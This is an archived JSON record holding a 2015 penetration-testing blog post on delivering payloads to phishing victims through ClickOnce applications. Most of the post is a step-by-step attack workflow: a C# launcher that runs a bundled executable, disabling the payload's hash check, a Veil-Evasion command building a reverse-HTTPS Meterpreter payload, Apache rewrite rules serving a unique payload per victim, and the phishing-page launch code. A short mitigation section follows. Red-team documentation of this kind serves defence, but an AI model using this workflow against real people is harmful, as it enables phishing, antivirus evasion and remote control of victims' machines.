{
	"id": "b6de72b4-2f14-4bd4-be0a-cd760ac7330f",
	"created_at": "2026-04-06T00:21:57.602997Z",
	"updated_at": "2026-04-10T03:20:58.677306Z",
	"deleted_at": null,
	"sha1_hash": "b67b62e2bbb4917098ff32aba4981254ee71c206",
	"title": "All You Need Is One - A ClickOnce Love Story",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 259749,
	"plain_text": "All You Need Is One - A ClickOnce Love Story\r\nBy Ryan Gandrud\r\nPublished: 2015-03-23 · Archived: 2026-04-05 15:14:39 UTC\r\nDuring recent email phishing assessments, NetSPI has been making use of ClickOnce applications to deploy\r\npayloads effectively and efficiently to phishing victims through Internet Explorer. ClickOnce is a deployment\r\nmethod that allows an application administrator to create Windows-based applications and deploy them to specific\r\nusers. This method also allows for simple updating of published applications on a user’s machine, without the\r\nworry of typical Java applet restrictions. There are multiple advantages to using ClickOnce to deploy and update\r\napplications:\r\nSimple installation and updating\r\nMinimal user interaction\r\nWeb browser deployment\r\nNetwork or network file share installation\r\nEasy to write a ClickOnce application\r\nAlthough there are many legitimate advantages to using ClickOnce deployments, it also provides a vector for\r\nmalicious actors to compromise user’s machines with just one click.\r\nClickOnce Introduction\r\nClickOnce is just a wrapper that sits around an executable that you would like to run on a user’s machine. It uses a\r\ntrust architecture to determine the amount of interaction that is needed from a user before executing the included\r\nbinary. By default, ClickOnce packages that come from My Computer, Local Intranet, IE Trusted Sites, and the\r\nInternet allow a user to grant the application temporary admin privileges in order to install. This is a feature: “But\r\nthe most important new feature when it comes to security is … the end user can elevate permissions without the\r\nhelp of an administrator” – MSDN. The only category disabled by default is IE Untrusted Sites. These settings are\r\ncontrolled by a registry key found at:\r\nHKEY_LOCAL_MACHINESOFTWAREMICROSOFT.NETFrameworkSecurityTrustManagerPromptingLevel\r\nNaturally, this technology fits right in with email phishing attacks, as by default, a user can grant an [insert\r\nmalicious payload here] admin privileges to install/launch/exploit.\r\nZone Applications\r\nMyComputer Enabled\r\nLocalIntranet Enabled\r\nTrustedSites Enabled\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 1 of 10\n\nZone Applications\r\nInternet Enabled\r\nUntrustedSites Disabled\r\nClickOnce App with Payload\r\nAs mentioned above, ClickOnce is just a convenient deployment method for the binary that you would like to\r\nexecute. Visual Studio makes this task simple by including the ability to publish ClickOnce applications. Each\r\nClickOnce Visual Studio project includes multiple files:\r\nProjectName.application\r\nContains the location of the manifest and application version information\r\nProjectName.exe.config.deploy\r\nContains application settings (i.e. connection strings, etc.)\r\nProjectName.exe.deploy\r\nThe (potentially malicious) executable that will be run by a user\r\nProjectName.exe.manifest\r\nManifest file containing application version, .NET versions supported, permission level requested,\r\nand signatures for the other files\r\nContains the file name for the executable\r\nThe easiest way to get ClickOnce to execute a payload of your choosing is to create a new console application\r\nusing Visual Studio. This allows you to write your own code, not worry about a pop-up, and publish the resulting\r\ncode (create the ClickOnce installer). Using some simple C# code, you can launch a process to execute an\r\nincluded obfuscated payload (ClickOnceInc.exe).\r\nusing System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Runtime.InteropServices;\r\nnamespace Example_Application\r\n{\r\n static class Program\r\n {\r\n static void Main()\r\n {\r\n //Starting a new process executing the malicious exe\r\n System.Diagnostics.Process p = new System.Diagnostics.Process();\r\n p.StartInfo.UseShellExecute = false;\r\n p.StartInfo.RedirectStandardOutput = false;\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 2 of 10\n\np.StartInfo.FileName = \"ClickOnceInc.exe\";\r\n p.Start();\r\n }\r\n }\r\n}\r\nEnsure that your application uses the correct version of .NET of the operating system you are targeting so the\r\napplication runs properly. .NET supports backwards compatibility within each major version, allowing multiple\r\noperating systems to be targeted at once using one compiled project. For example, Windows Vista and Windows 7\r\ncan both be targeted with a .NET 3.0 binary since they both come by default with .NET 3.X installed. The same\r\ncan be said for Windows 8 and Windows 10, where both can be targeted with a .NET 4.0 compiled project since\r\nthey have .NET 4.5 and 4.6 installed by default respectively. Here, .NET 3.5 was chosen by navigating to the\r\nApplication tab on the left, and selecting the Target Framework from the dropdown.\r\nInclude your malicious executable into the Visual Studio Solution by clicking and dragging the executable over\r\nthe project (ConsoleApplication1).\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 3 of 10\n\nGoing into the properties of the console application, you can modify the ClickOnce settings within the Publish tab\r\non the left. Make sure to change the Install Mode and Settings to “The application is available online only”. The\r\nInstallation folder URL should be the URL the ClickOnce application will be downloaded from on the web server.\r\nClicking on the Application Files… button, we get a popup showing the different files that will be created when\r\nthe application is published. An important step here is to exclude the hash for the ClickOnceInc.exe. This will\r\nprevent the application from being signed and allows for the malicious executable to be changed without\r\nClickOnce erroring out.\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 4 of 10\n\nClicking on the Publishing Wizard button, click next through the dialogs to publish the application.\r\nThis should build your application in the C:testing directory. You should find the following files inside:\r\nApplication Files directory\r\nEvil Survey.application\r\nPublish.htm\r\nSetup.exe\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 5 of 10\n\nAll of these files should be copied over to your web server and placed in a folder off of the web root. In this\r\nexample, I use /var/www/examplesite/template/.\r\nSince ClickOnce will take any Windows executable to run, there are many different options for payloads to use:\r\nRoll your own\r\nIf you have your own exploit that can be run on a Windows box, this can be its time to shine.\r\nMetasploit\r\nPro: Plenty of Meterpreter options (hint: use a reverse connection)\r\nCon: Likely to get nabbed by AntiVirus\r\nVeil\r\nPros:\r\nMeterpreter payloads written in different languages\r\nEncrypted payload – i.e. less likely to get caught by AV\r\nCons:\r\nStatic “random” Meterpreter callback\r\nI decided to go with a Veil payload to avoid getting caught by AV at all costs, but this introduced a new problem;\r\nstatic random Meterpreter callbacks. Normally, when a Meterpreter executable is run, it generates a new random\r\ncallback for the handler so it can be seen as a new and unique connection coming from a box. With Veil, the\r\nrandom callback has already been determined when Veil compiles the encrypted executable, so every time the Veil\r\nexecutable is run, it calls back with the same “random” callback. This is then ignored by the handler, as additional\r\nautomated calls from the already compromised system, resulting in only one successful Meterpreter connection,\r\nno matter how many times the Veil payload is run on different computers. For more on how to generate a payload\r\nusing Veil, reference my quick write-up.\r\nThe solution? Dynamically generating Veil payloads to be served to phished targets.\r\nWeb Server Setup\r\nRemember that each ClickOnceInc.exe.deploy file needs to be uniquely generated in order for the Meterpreter\r\ncallback to be handled properly by Metasploit. After publishing the ClickOnce application once, the same\r\npublished project can be used as a template to be served up to each new victim. The only part that needs to change\r\nis the ClickOnceInc.exe.deploy file, which should be dynamically generated and replaced for each user. This\r\nwould normally invalidate the hash signature within the .manifest file, causing the ClickOnce application to error\r\nout and not run our intended payload. However, when setting up the ClickOnce app in the above steps, we\r\ndisabled the hashing for this specific file, allowing us to replace it with different executables without error.\r\nIn order to track users, the GET parameter uid is populated with information correlating each unique person to a\r\nuid value. This is then tracked by the server and used to generate unique payloads for each victim.\r\nWeb server payload delivery steps:\r\n1. Copy the template into uid specific directory\r\n2. Generate the Veil payload\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 6 of 10\n\n3. Replace the template ClickOnceInc.exe.deploy with newly generated payload\r\n4. Configure mod_rewrite to call ClickOnce\r\nCopying ClickOnce template\r\nWhen a user first visits the site with the uid GET parameter set, a new directory should be created using their uid\r\nvalue, and the contents of the template directory should be copied into this new directory. This creates a structured\r\ndirectory so the web server can easily locate the correct personalized payload for each user.\r\nDisclaimer: You need to sanitize any user input (uid parameter) before using it. Always sanitize!\r\nGenerating Veil Payload\r\nVeil-Evasion has the ability to be scripted, allowing for our webserver to make this call to generate the payload for\r\neach unique user. The 2\u003e redirection to /dev/null prevents error messages generated by Veil-Evasion from being\r\nechoed to the screen.\r\n/opt/Veil/Veil-Evasion/Veil-Evasion.py -p python/meterpreter/rev_https_contained -c LHOST=ip.ip.ip.ip\r\nReplacing ClickOnceInc.exe.deploy\r\nThe default output directory for the above step is: /tmp/veil-output/compiled. This compiled exe then needs to\r\nreplace the “Application Files/evil_1_0_x_x/ClickOnceInc.exe.deploy” file for that user.\r\nMod_rewrite\r\nApache’s mod_rewrite module can change a web request from evil.app?uid=1111 to /base/1111/evil.app.\r\nThe following two lines from the Apache Virtual Host definition should accomplish the correct rewrite:\r\n RewriteCond %{QUERY_STRING} ^uid=(.*)$\r\nRewriteRule ^/Project.application /base/%1/ Evil Survey.application? [R]\r\nThe /base/ is a directory relative to the webroot of your site. Utilizing this rewrite rule, you can include the\r\nfollowing code in your phishing page source, which will launch the ClickOnce application.\r\n window.open(\"https://example.site.com/Evil Survey.application?uid=1111\", \"application\");\r\nThis, after being rewritten by mod_rewrite, will request the following file from the server:\r\n/var/www/examplesite/base/1111/Evil Survey.application\r\nUsing the steps above, the basic functionality to launch a ClickOnce attack is in place. All that is left is to build a\r\nconvincing email and site around this and convince users to visit.\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 7 of 10\n\nExploitation\r\nWhen the site launches the ClickOnce application, the user will see a couple of things:\r\nThe Launching Application pop-up:\r\nThe ClickOnce dialog prompting the user to click Run. This popup displays the name of the application, the\r\nlocation it is being requested from, and the Publisher. Note that unsigned ClickOnce applications are not blocked\r\nby default, unlike unsigned Java applets.\r\nAfter the user clicks Run, the application downloads and runs:\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 8 of 10\n\nWatching our Metasploit MultiHandler, we see the victim computer connect back:\r\nMitigation\r\nThere are multiple ways to prevent this attack from happening. The first is the most obvious: user education.\r\nUser’s need to be aware and cognizant of phishing attack techniques and the proper steps to report these attacks.\r\nSpecific to ClickOnce, Group Policy is the best way to ensure these applications cannot be run. Using GPO, you\r\ncan push down policies to modify the TrustManager settings, which controls if ClickOnce can be run from\r\ndifferent trust zones in Internet Explorer. It is recommended to change the Internet zone to either “Disabled” or to\r\n“AuthenticodeRequired”. This will require the ClickOnce application to be signed with a valid signature before it\r\nis allowed to run.\r\nWrap Up\r\nFrom here, persistence and escalation can begin. For user’s concerned with cleanup, the default path the\r\nClickOnce applications get installed to is: C:UsersuserprofileLocal SettingsApps2.0. There will be a uniquely\r\nnamed folder for each ClickOnce application. Deleting this folder will remove the ClickOnce application from the\r\nmachine. This blog is intended to document the inherent flaws in ClickOnce applications while presenting a viable\r\nPoC.\r\nReferences\r\nhttps://msdn.microsoft.com/en-us/library/cc176048(v=vs.90).aspx\r\nhttps://msdn.microsoft.com/en-us/library/ee308453.aspx\r\nhttps://msdn.microsoft.com/en-us/library/aa719097(v=vs.71).aspx#clickonce_topic8\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 9 of 10\n\nSource: https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nhttps://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.netspi.com/blog/technical-blog/adversary-simulation/all-you-need-is-one-a-clickonce-love-story/"
	],
	"report_names": [
		"all-you-need-is-one-a-clickonce-love-story"
	],
	"threat_actors": [],
	"ts_created_at": 1775434917,
	"ts_updated_at": 1775791258,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/b67b62e2bbb4917098ff32aba4981254ee71c206.pdf",
		"text": "https://archive.orkl.eu/b67b62e2bbb4917098ff32aba4981254ee71c206.txt",
		"img": "https://archive.orkl.eu/b67b62e2bbb4917098ff32aba4981254ee71c206.jpg"
	}
}